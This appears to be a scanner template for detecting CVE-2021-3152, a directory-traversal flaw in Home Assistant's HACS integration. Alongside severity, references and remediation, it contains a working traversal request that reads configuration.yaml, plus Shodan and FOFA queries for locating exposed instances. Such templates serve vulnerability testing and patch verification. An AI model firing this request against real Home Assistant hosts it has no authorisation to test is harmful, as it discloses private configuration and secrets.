Home Assistant HACS - Local File Inclusion

id: CVE-2021-3152

info:
  name: Home Assistant HACS - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.
  impact: |
    Attackers can access sensitive files on the system, potentially leading to information disclosure or further system compromise.
  remediation: Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3152
    - https://lyghtnox.gitlab.io/posts/hacs-exploit/
    - https://www.home-assistant.io/blog/2021/01/22/security-disclosure/
    - https://github.com/hacs/integration/commit/f2b7cb711e41a94b81610f6ff96ea314e9879114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3152
    epss-score: 0.02231
    epss-percentile: 0.80549
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: hacs
    product: integration
    shodan-query: title:"Home Assistant"
    fofa-query: title="Home Assistant"
  tags: cve,cve2021,hacs,homeassistant,lfi

http:
  - raw:
      - |
        GET /hacsfiles/../../configuration.yaml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "default_config:"
          - "homeassistant:"
        condition: or

      - type: status
        status:
          - 200
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